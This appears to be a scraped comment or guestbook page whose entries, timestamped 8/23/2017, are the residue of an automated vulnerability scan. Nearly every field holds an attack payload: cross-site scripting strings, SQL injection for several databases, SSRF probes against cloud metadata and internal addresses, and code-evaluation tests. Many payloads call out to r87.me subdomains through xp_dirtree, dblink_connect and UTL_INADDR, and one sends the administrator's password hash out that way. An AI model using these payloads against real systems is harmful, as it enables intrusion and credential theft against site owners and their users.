\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

